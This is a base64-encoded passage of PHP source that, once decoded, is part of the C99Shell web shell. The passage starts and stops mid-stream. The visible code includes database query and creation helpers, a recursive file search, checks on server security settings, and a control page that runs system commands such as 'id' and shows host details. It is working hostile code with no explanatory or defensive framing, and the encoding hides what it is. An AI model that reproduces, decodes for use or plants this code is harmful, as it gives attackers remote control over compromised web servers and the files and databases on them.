nVpbGR3aGVyZSgkYXJyYXksJHNlcD0iIGFuZCIsJGZ1bmN0cz1hcnJheSgpKQp7CiBpZiAoIWlzX2Fyc
mF5KCRhcnJheSkpIHskYXJyYXkgPSBhcnJheSgpO30KICRyZXN1bHQgPSAiIjsKIGZvcmVhY2goJGFyc
mF5IGFzICRrPT4kdikKIHsKICAkdmFsdWUgPSAiIjsKICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkge
yR2YWx1ZSAuPSAkZnVuY3RzWyRrXS4iKCI7fQogICR2YWx1ZSAuPSAiJyIuYWRkc2xhc2hlcygkdikuI
iciOwogIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICIpIjt9CiAgJHJlc3VsdCAuP
SAiYCIuJGsuImAgPSAiLiR2YWx1ZS4kc2VwOwogfQogJHJlc3VsdCA9IHN1YnN0cigkcmVzdWx0LDAsc
3RybGVuKCRyZXN1bHQpLXN0cmxlbigkc2VwKSk7CiByZXR1cm4gJHJlc3VsdDsKfQp9CmlmICghZnVuY
3Rpb25fZXhpc3RzKCJteXNxbF9mZXRjaF9hbGwiKSkKewpmdW5jdGlvbiBteXNxbF9mZXRjaF9hbGwoJ
HF1ZXJ5LCRzb2NrKQp7CiBpZiAoJHNvY2spIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRzb
2NrKTt9CiBlbHNlIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9CiAkYXJyYXkgPSBhcnJhe
SgpOwogd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRhcnJheVtdID0gJ
HJvdzt9CiBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKIHJldHVybiAkYXJyYXk7Cn0KfQppZiAoI
WZ1bmN0aW9uX2V4aXN0cygibXlzcWxfc21hcnRlcnJvciIpKQp7CmZ1bmN0aW9uIG15c3FsX3NtYXJ0Z
XJyb3IoJHR5cGUsJHNvY2spCnsKIGlmICgkc29jaykgeyRlcnJvciA9IG15c3FsX2Vycm9yKCRzb2NrK
Tt9CiBlbHNlIHskZXJyb3IgPSBteXNxbF9lcnJvcigpO30KICRlcnJvciA9IGh0bWxzcGVjaWFsY2hhc
nMoJGVycm9yKTsKIHJldHVybiAkZXJyb3I7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfc
XVlcnlfZm9ybSIpKQp7CmZ1bmN0aW9uIG15c3FsX3F1ZXJ5X2Zvcm0oKQp7CiBnbG9iYWwgJHN1Ym1pd
Cwkc3FsX2FjdCwkc3FsX3F1ZXJ5LCRzcWxfcXVlcnlfcmVzdWx0LCRzcWxfY29uZmlybSwkc3FsX3F1Z
XJ5X2Vycm9yLCR0Ymxfc3RydWN0OwogaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3Vsd
CkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lc
nJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1Z
XJ5X2Vycm9yLiI8YnI+Ijt9CiBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pK
SB7JHNxbF9hY3QgPSAkc3FsX2dvdG87fQogaWYgKCghJHN1Ym1pdCkgb3IgKCRzcWxfYWN0KSkKIHsKI
CBlY2hvICI8dGFibGUgYm9yZGVyPTA+PHRyPjx0ZD48Zm9ybSBuYW1lPVwiYzk5c2hfc3FscXVlcnlcI
iBtZXRob2Q9UE9TVD48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiR
G8geW91IHJlYWxseSB3YW50IHRvIjt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSI7fSBlY2hvICI6PC9iP
jxicj48YnI+PHRleHRhcmVhIG5hbWU9c3FsX3F1ZXJ5IGNvbHM9MTAwIHJvd3M9MTA+Ii5odG1sc3BlY
2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9aGlkZGVuI
G5hbWU9YWN0IHZhbHVlPXNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfYWN0IHZhbHVlPXF1Z
XJ5PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF90YmwgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhc
nMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zdWJtaXQgdmFsdWU9XCIxXCI+P
GlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoY
XJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXNxbF9jb25maXJtIHZhbHVlP
VwiWWVzXCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD4iO
wogIGlmICgkdGJsX3N0cnVjdCkKICB7CiAgIGVjaG8gIjx0ZCB2YWxpZ249XCJ0b3BcIj48Yj5GaWVsZ
HM6PC9iPjxicj4iOwogICBmb3JlYWNoICgkdGJsX3N0cnVjdCBhcyAkZmllbGQpIHskbmFtZSA9ICRma
WVsZFsiRmllbGQiXTsgZWNobyAiuyA8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5jOTlza
F9zcWxxdWVyeS5zcWxfcXVlcnkudmFsdWUrPSdgIi4kbmFtZS4iYCc7XCI+PGI+Ii4kbmFtZS4iPC9iP
jwvYT48YnI+Ijt9CiAgIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7CiAgfQogfQogaWYgKCRzcWxfc
XVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlc
nk7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2NyZWF0ZV9kYiIpKQp7CmZ1bmN0aW9uI
G15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpCnsKICRzcWwgPSAiQ1JFQVRFIERBVEFCQVNFIGAiL
mFkZHNsYXNoZXMoJGRiKS4iYDsiOwogaWYgKCRzb2NrKSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwsJ
HNvY2spO30KIGVsc2Uge3JldHVybiBteXNxbF9xdWVyeSgkc3FsKTt9Cn0KfQppZiAoIWZ1bmN0aW9uX
2V4aXN0cygibXlzcWxfcXVlcnlfcGFyc2UiKSkKewpmdW5jdGlvbiBteXNxbF9xdWVyeV9wYXJzZSgkc
XVlcnkpCnsKICRxdWVyeSA9IHRyaW0oJHF1ZXJ5KTsKICRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5K
TsKIC8qYXJyYXkgYXJyYXkoKQogewogICJNRVRIT0QiPT5hcnJheShvdXRwdXRfdHlwZSksCiAgIk1FV
EhPRDEiLi4uCiAgLi4uCiB9CiBpZiBvdXRwdXRfdHlwZSA9PSAwLCBubyBvdXRwdXQsCiBpZiBvdXRwd
XRfdHlwZSA9PSAxLCBubyBvdXRwdXQgaWYgbm8gZXJyb3IKIGlmIG91dHB1dF90eXBlID09IDIsIG91d
HB1dCB3aXRob3V0IGNvbnRyb2wtYnV0dG9ucwogaWYgb3V0cHV0X3R5cGUgPT0gMywgb3V0cHV0IHdpd
GggY29udHJvbC1idXR0b25zCiAqLwogJHR5cGVzID0gYXJyYXkoCiAgIlNFTEVDVCI9PmFycmF5KDMsM
SksCiAgIlNIT1ciPT5hcnJheSgyLDEpLAogICJERUxFVEUiPT5hcnJheSgxKSwKICAiRFJPUCI9PmFyc
mF5KDEpCiApOwogJHJlc3VsdCA9IGFycmF5KCk7CiAkb3AgPSBzdHJ0b3VwcGVyKCRhcnJbMF0pOwoga
WYgKGlzX2FycmF5KCR0eXBlc1skb3BdKSkKIHsKICAkcmVzdWx0WyJwcm9wZXJ0aW9ucyJdID0gJHR5c
GVzWyRvcF07CiAgJHJlc3VsdFsicXVlcnkiXSAgPSAkcXVlcnk7CiAgaWYgKCR0eXBlc1skb3BdID09I
DIpCiAgewogICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KQogICB7CiAgICBpZiAoc3RydG91cHBlcigkd
ikgPT0gIkxJTUlUIikKICAgIHsKICAgICAkcmVzdWx0WyJsaW1pdCJdID0gJGFyclskaysxXTsKICAgI
CAkcmVzdWx0WyJsaW1pdCJdID0gZXhwbG9kZSgiLCIsJHJlc3VsdFsibGltaXQiXSk7CiAgICAgaWYgK
GNvdW50KCRyZXN1bHRbImxpbWl0Il0pID09IDEpIHskcmVzdWx0WyJsaW1pdCJdID0gYXJyYXkoMCwkc
mVzdWx0WyJsaW1pdCJdWzBdKTt9CiAgICAgdW5zZXQoJGFyclska10sJGFyclskaysxXSk7CiAgICB9C
iAgIH0KICB9CiB9CiBlbHNlIHtyZXR1cm4gRkFMU0U7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoI
mM5OWZzZWFyY2giKSkKewpmdW5jdGlvbiBjOTlmc2VhcmNoKCRkKQp7CiBnbG9iYWwgJGZvdW5kOwogZ
2xvYmFsICRmb3VuZF9kOwogZ2xvYmFsICRmb3VuZF9mOwogZ2xvYmFsICRzZWFyY2hfaV9mOwogZ2xvY
mFsICRzZWFyY2hfaV9kOwogZ2xvYmFsICRhOwogaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX
1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogJGggPSBvcGVuZGlyKCRkKTsKI
HdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKQogewogIGlmKCRmICE9ICIuIiAmJiAkZ
iAhPSAiLi4iKQogIHsKICAgJGJvb2wgPSAoZW1wdHkoJGFbIm5hbWVfcmVnZXhwIl0pIGFuZCBzdHJwb
3MoJGYsJGFbIm5hbWUiXSkgIT09IEZBTFNFKSB8fCAoJGFbIm5hbWVfcmVnZXhwIl0gYW5kIGVyZWcoJ
GFbIm5hbWUiXSwkZikpOwogICBpZiAoaXNfZGlyKCRkLiRmKSkKICAgewogICAgJHNlYXJjaF9pX2QrK
zsKICAgIGlmIChlbXB0eSgkYVsidGV4dCJdKSBhbmQgJGJvb2wpIHskZm91bmRbXSA9ICRkLiRmOyAkZ
m91bmRfZCsrO30KICAgIGlmICghaXNfbGluaygkZC4kZikpIHtjOTlmc2VhcmNoKCRkLiRmKTt9CiAgI
H0KICAgZWxzZQogICB7CiAgICAkc2VhcmNoX2lfZisrOwogICAgaWYgKCRib29sKQogICAgewogICAgI
GlmICghZW1wdHkoJGFbInRleHQiXSkpCiAgICAgewogICAgICAkciA9IEBmaWxlX2dldF9jb250ZW50c
ygkZC4kZik7CiAgICAgIGlmICgkYVsidGV4dF93d28iXSkgeyRhWyJ0ZXh0Il0gPSAiICIudHJpbSgkY
VsidGV4dCJdKS4iICI7fQogICAgICBpZiAoISRhWyJ0ZXh0X2NzIl0pIHskYVsidGV4dCJdID0gc3Ryd
G9sb3dlcigkYVsidGV4dCJdKTsgJHIgPSBzdHJ0b2xvd2VyKCRyKTt9CiAgICAgIGlmICgkYVsidGV4d
F9yZWdleHAiXSkgeyRib29sID0gZXJlZygkYVsidGV4dCJdLCRyKTt9CiAgICAgIGVsc2UgeyRib29sI
D0gc3RycG9zKCIgIi4kciwkYVsidGV4dCJdLDEpO30KICAgICAgaWYgKCRhWyJ0ZXh0X25vdCJdKSB7J
GJvb2wgPSAhJGJvb2w7fQogICAgICBpZiAoJGJvb2wpIHskZm91bmRbXSA9ICRkLiRmOyAkZm91bmRfZ
isrO30KICAgICB9CiAgICAgZWxzZSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9CiAgICB9C
iAgIH0KICB9CiB9CiBjbG9zZWRpcigkaCk7Cn0KfQppZiAoJGFjdCA9PSAiZ29maWxlIikge2lmIChpc
19kaXIoJGYpKSB7JGFjdCA9ICJscyI7ICRkID0gJGY7fSBlbHNlIHskYWN0ID0gImYiOyAkZCA9IGRpc
m5hbWUoJGYpOyAkZiA9IGJhc2VuYW1lKCRmKTt9fQovL1NlbmRpbmcgaGVhZGVycwpAb2Jfc3RhcnQoK
TsKQG9iX2ltcGxpY2l0X2ZsdXNoKDApOwpmdW5jdGlvbiBvbnBocHNodXRkb3duKCkKewogZ2xvYmFsI
CRnemlwZW5jb2RlLCRmdDsKIGlmICghaGVhZGVyc19zZW50KCkgYW5kICRnemlwZW5jb2RlIGFuZCAha
W5fYXJyYXkoJGZ0LGFycmF5KCJpbWciLCJkb3dubG9hZCIsIm5vdGVwYWQiKSkpCiB7CiAgJHYgPSBAb
2JfZ2V0X2NvbnRlbnRzKCk7CiAgQG9iX2VuZF9jbGVhbigpOwogIEBvYl9zdGFydCgib2JfZ3pIYW5kb
GVyIik7CiAgZWNobyAkdjsKICBAb2JfZW5kX2ZsdXNoKCk7CiB9Cn0KZnVuY3Rpb24gYzk5c2hleGl0K
CkKewogb25waHBzaHV0ZG93bigpOwogZXhpdDsKfQpoZWFkZXIoIkV4cGlyZXM6IE1vbiwgMjYgSnVsI
DE5OTcgMDU6MDA6MDAgR01UIik7CmhlYWRlcigiTGFzdC1Nb2RpZmllZDogIi5nbWRhdGUoIkQsIGQgT
SBZIEg6aTpzIikuIiBHTVQiKTsKaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2Fja
GUsIG11c3QtcmV2YWxpZGF0ZSIpOwpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IHBvc3QtY2hlY2s9MCwgc
HJlLWNoZWNrPTAiLCBGQUxTRSk7CmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOwppZiAoZW1wdHkoJ
HRtcGRpcikpCnsKICR0bXBkaXIgPSBpbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpOwogaWYgKGlzX2Rpc
igkdG1wZGlyKSkgeyR0bXBkaXIgPSAiL3RtcC8iO30KfQokdG1wZGlyID0gcmVhbHBhdGgoJHRtcGRpc
ik7CiR0bXBkaXIgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHRtcGRpcik7C
mlmIChzdWJzdHIoJHRtcGRpciwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0bXBkaXIgLj0gR
ElSRUNUT1JZX1NFUEFSQVRPUjt9CmlmIChlbXB0eSgkdG1wZGlyX2xvZ3MpKSB7JHRtcGRpcl9sb2dzI
D0gJHRtcGRpcjt9CmVsc2UgeyR0bXBkaXJfbG9ncyA9IHJlYWxwYXRoKCR0bXBkaXJfbG9ncyk7fQppZ
iAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpK
SA9PSAib24iKQp7CiAkc2FmZW1vZGUgPSBUUlVFOwogJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1yZ
WQ+T04gKHNlY3VyZSk8L2ZvbnQ+IjsKfQplbHNlIHskc2FmZW1vZGUgPSBGQUxTRTsgJGhzYWZlbW9kZ
SA9ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkYgKG5vdCBzZWN1cmUpPC9mb250PiI7fQokdiA9IEBpbmlfZ
2V0KCJvcGVuX2Jhc2VkaXIiKTsKaWYgKCR2IG9yIHN0cnRvbG93ZXIoJHYpID09ICJvbiIpIHskb3Blb
mJhc2VkaXIgPSBUUlVFOyAkaG9wZW5iYXNlZGlyID0gIjxmb250IGNvbG9yPXJlZD4iLiR2LiI8L2Zvb
nQ+Ijt9CmVsc2UgeyRvcGVuYmFzZWRpciA9IEZBTFNFOyAkaG9wZW5iYXNlZGlyID0gIjxmb250IGNvb
G9yPWdyZWVuPk9GRiAobm90IHNlY3VyZSk8L2ZvbnQ+Ijt9CiRzb3J0ID0gaHRtbHNwZWNpYWxjaGFyc
ygkc29ydCk7CmlmIChlbXB0eSgkc29ydCkpIHskc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQokc29ydFsxX
SA9IHN0cnRvbG93ZXIoJHNvcnRbMV0pOwokRElTUF9TRVJWRVJfU09GVFdBUkUgPSBnZXRlbnYoIlNFU
lZFUl9TT0ZUV0FSRSIpOwppZiAoIWVyZWcoIlBIUC8iLnBocHZlcnNpb24oKSwkRElTUF9TRVJWRVJfU
09GVFdBUkUpKSB7JERJU1BfU0VSVkVSX1NPRlRXQVJFIC49ICIuIFBIUC8iLnBocHZlcnNpb24oKTt9C
iRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IHN0cl9yZXBsYWNlKCJQSFAvIi5waHB2ZXJzaW9uKCksIjxhI
GhyZWY9XCIiLiRzdXJsLiJhY3Q9cGhwaW5mb1wiIHRhcmdldD1cIl9ibGFua1wiPjxiPjx1PlBIUC8i
LnBocHZlcnNpb24oKS4iPC91PjwvYj48L2E+IixodG1sc3BlY2lhbGNoYXJzKCRESVNQX1NFUlZFUl9T
T0ZUV0FSRSkpOwpAaW5pX3NldCgiaGlnaGxpZ2h0LmJnIiwkaGlnaGxpZ2h0X2JnKTsgLy9GRkZGRkYK
QGluaV9zZXQoImhpZ2hsaWdodC5jb21tZW50IiwkaGlnaGxpZ2h0X2NvbW1lbnQpOyAvLyNGRjgwMDAK
QGluaV9zZXQoImhpZ2hsaWdodC5kZWZhdWx0IiwkaGlnaGxpZ2h0X2RlZmF1bHQpOyAvLyMwMDAwQkIK
QGluaV9zZXQoImhpZ2hsaWdodC5odG1sIiwkaGlnaGxpZ2h0X2h0bWwpOyAvLyMwMDAwMDAKQGluaV9z
ZXQoImhpZ2hsaWdodC5rZXl3b3JkIiwkaGlnaGxpZ2h0X2tleXdvcmQpOyAvLyMwMDc3MDAKQGluaV9z
ZXQoImhpZ2hsaWdodC5zdHJpbmciLCRoaWdobGlnaHRfc3RyaW5nKTsgLy8jREQwMDAwCmlmICghaXNf
YXJyYXkoJGFjdGJveCkpIHskYWN0Ym94ID0gYXJyYXkoKTt9CiRkc3BhY3QgPSAkYWN0ID0gaHRtbHNw
ZWNpYWxjaGFycygkYWN0KTsKJGRpc3BfZnVsbHBhdGggPSAkbHNfYXJyID0gJG5vdGxzID0gbnVsbDsK
JHVkID0gdXJsZW5jb2RlKCRkKTsKPz48aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50
LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTEiPjxtZXRhIGh0dHAt
ZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIj48dGl0bGU+PD9waHAgZWNobyBn
ZXRlbnYoIkhUVFBfSE9TVCIpOyA/PiAtIHBocHNoZWxsPC90aXRsZT48U1RZTEU+VEQgeyBGT05ULVNJ
WkU6IDhwdDsgQ09MT1I6ICNlYmViZWI7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hO31CT0RZIHsgc2Nyb2xs
YmFyLWZhY2UtY29sb3I6ICM4MDAwMDA7IHNjcm9sbGJhci1zaGFkb3ctY29sb3I6ICMxMDEwMTA7IHNj
cm9sbGJhci1oaWdobGlnaHQtY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAj
MTAxMDEwOyBzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLXRyYWNr
LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItYXJyb3ctY29sb3I6ICMxMDEwMTA7IGZvbnQtZmFtaWx5
OiBWZXJkYW5hO31URC5oZWFkZXIgeyBGT05ULVdFSUdIVDogbm9ybWFsOyBGT05ULVNJWkU6IDEwcHQ7
IEJBQ0tHUk9VTkQ6ICM3ZDc0NzQ7IENPTE9SOiB3aGl0ZTsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7fUEg
eyBGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xPUjogI2RhZGFkYTsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7
IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QTp1bmtub3duIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09M
T1I6ICNmZmZmZmY7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyBURVhULURFQ09SQVRJT046IG5vbmU7fUEu
TGlua3MgeyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BLkxpbmtzOnVua25v
d24geyBGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBu
b25lO31BOmhvdmVyIHsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogdW5kZXJsaW5lO30u
c2tpbjB7cG9zaXRpb246YWJzb2x1dGU7IHdpZHRoOjIwMHB4OyBib3JkZXI6MnB4IHNvbGlkIGJsYWNr
OyBiYWNrZ3JvdW5kLWNvbG9yOm1lbnU7IGZvbnQtZmFtaWx5OlZlcmRhbmE7IGxpbmUtaGVpZ2h0OjIw
cHg7IGN1cnNvcjpkZWZhdWx0OyB2aXNpYmlsaXR5OmhpZGRlbjs7fS5za2luMXtjdXJzb3I6IGRlZmF1
bHQ7IGZvbnQ6IG1lbnV0ZXh0OyBwb3NpdGlvbjogYWJzb2x1dGU7IHdpZHRoOiAxNDVweDsgYmFja2dy
b3VuZC1jb2xvcjogbWVudTsgYm9yZGVyOiAxIHNvbGlkIGJ1dHRvbmZhY2U7dmlzaWJpbGl0eTpoaWRk
ZW47IGJvcmRlcjogMiBvdXRzZXQgYnV0dG9uaGlnaGxpZ2h0OyBmb250LWZhbWlseTogVmVyZGFuYSxH
ZW5ldmEsIEFyaWFsOyBmb250LXNpemU6IDEwcHg7IGNvbG9yOiBibGFjazt9Lm1lbnVpdGVtc3twYWRk
aW5nLWxlZnQ6MTVweDsgcGFkZGluZy1yaWdodDoxMHB4Ozt9aW5wdXR7YmFja2dyb3VuZC1jb2xvcjog
IzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21h
OyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9dGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAw
MDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3Jk
ZXI6IDEgc29saWQgIzY2NjY2Njt9YnV0dG9ue2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQt
c2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNv
bGlkICM2NjY2NjY7fXNlbGVjdHtiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhw
dDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2
NjY2O31vcHRpb24ge2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xv
cjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fWlm
cmFtZSB7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZG
RkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9cCB7TUFSR0lO
LVRPUDogMHB4OyBNQVJHSU4tQk9UVE9NOiAwcHg7IExJTkUtSEVJR0hUOiAxNTAlfWJsb2NrcXVvdGV7
IGZvbnQtc2l6ZTogOHB0OyBmb250LWZhbWlseTogQ291cmllciwgRml4ZWQsIEFyaWFsOyBib3JkZXIg
OiA4cHggc29saWQgI0E5QTlBOTsgcGFkZGluZzogMWVtOyBtYXJnaW4tdG9wOiAxZW07IG1hcmdpbi1i
b3R0b206IDVlbTsgbWFyZ2luLXJpZ2h0OiAzZW07IG1hcmdpbi1sZWZ0OiA0ZW07IGJhY2tncm91bmQt
Y29sb3I6ICNCN0IyQjA7fWJvZHksdGQsdGggeyBmb250LWZhbWlseTogdmVyZGFuYTsgY29sb3I6ICNk
OWQ5ZDk7IGZvbnQtc2l6ZTogMTFweDt9Ym9keSB7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7fTwv
c3R5bGU+PC9oZWFkPjxCT0RZIHRleHQ9I2ZmZmZmZiBib3R0b21NYXJnaW49MCBiZ0NvbG9yPSMwMDAw
MDAgbGVmdE1hcmdpbj0wIHRvcE1hcmdpbj0wIHJpZ2h0TWFyZ2luPTAgbWFyZ2luaGVpZ2h0PTAgbWFy
Z2lud2lkdGg9MD48Y2VudGVyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIg
aGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01
IHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRl
cj0xIGJvcmRlcmNvbG9yPSIjQzBDMEMwIj48dHI+PHRoIHdpZHRoPSIxMDElIiBoZWlnaHQ9IjE1IiBu
b3dyYXAgYm9yZGVyY29sb3I9IiNDMEMwQzAiIHZhbGlnbj0idG9wIiBjb2xzcGFuPSIyIj48cD48Zm9u
dCBmYWNlPVdlYmRpbmdzIHNpemU9Nj48Yj4hPC9iPjwvZm9udD48YSBocmVmPSI8P3BocCBlY2hvICRz
dXJsOyA/PiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iNSI+PGI+Qzk5U2hlbGwgdi4gPD9waHAg
ZWNobyAkc2h2ZXI7ID8+PC9iPjwvZm9udD48L2E+PGZvbnQgZmFjZT1XZWJkaW5ncyBzaXplPTY+PGI+
ITwvYj48L2ZvbnQ+PC9wPjwvY2VudGVyPjwvdGg+PC90cj48dHI+PHRkPjxwIGFsaWduPSJsZWZ0Ij48
Yj5Tb2Z0d2FyZTombmJzcDs8P3BocCBlY2hvICRESVNQX1NFUlZFUl9TT0ZUV0FSRTsgPz48L2I+Jm5i
c3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj51bmFtZSAtYTombmJzcDs8P3BocCBlY2hvIHdvcmR3cmFw
KHBocF91bmFtZSgpLDkwLCI8YnI+IiwxKTsgPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48
Yj48P3BocCBpZiAoISR3aW4pIHtlY2hvIHdvcmR3cmFwKG15c2hlbGxleGVjKCJpZCIpLDkwLCI8YnI+
IiwxKTt9IGVsc2Uge2VjaG8gZ2V0X2N1cnJlbnRfdXNlcigpO30gPz48L2I+Jm5ic3A7PC9wPjxwIGFs
aWduPSJsZWZ0Ij48Yj5TYWZlLW1vZGU6Jm5ic3A7PD9waHAgZWNobyAkaHNhZmVtb2RlOyA/PjwvYj48
L3A+PHAgYWxpZ249ImxlZnQiPjw/cGhwCiRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQ
QVJBVE9SLCRkKTsKaWYgKGVtcHR5KCRkKSkgeyRkID0gcmVhbHBhdGgoIi4iKTt9IGVsc2VpZihyZWFs
cGF0aCgkZCkpIHskZCA9IHJlYWxwYXRoKCRkKTt9CiRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RP
UllfU0VQQVJBVE9SLCRkKTsKaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikg
eyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQokZCA9IHN0cl9yZXBsYWNlKCJcXFxcIiwiXFwiLCRk
KTsKJGRpc3BkID0gaHRtbHNwZWNpYWxjaGFycygkZCk7CiRwZCA9ICRlID0gZXhwbG9kZShESVJFQ1RP
UllfU0VQQVJBVE9SLHN1YnN0cigkZCwwLC0xKSk7CiRpID0gMDsKZm9yZWFjaCgkcGQgYXMgJGIpCnsK
ICR0ID0gIiI7CiAkaiA9IDA7CiBmb3JlYWNoICgkZSBhcyAkcikKIHsKICAkdC49ICRyLkRJUkVDVE9S
WV9TRVBBUkFUT1I7CiAgaWYgKCRqID09ICRpKSB7YnJlYWs7fQogICRqKys7CiB9CiBlY2hvICI8YSBo
cmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii51cmxlbmNvZGUoJHQpLiImc29ydD0iLiRzb3J0LiJcIj48
Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJGIpLkRJUkVDVE9SWV9TRVBBUkFUT1IuIjwvYj48L2E+IjsKICRp
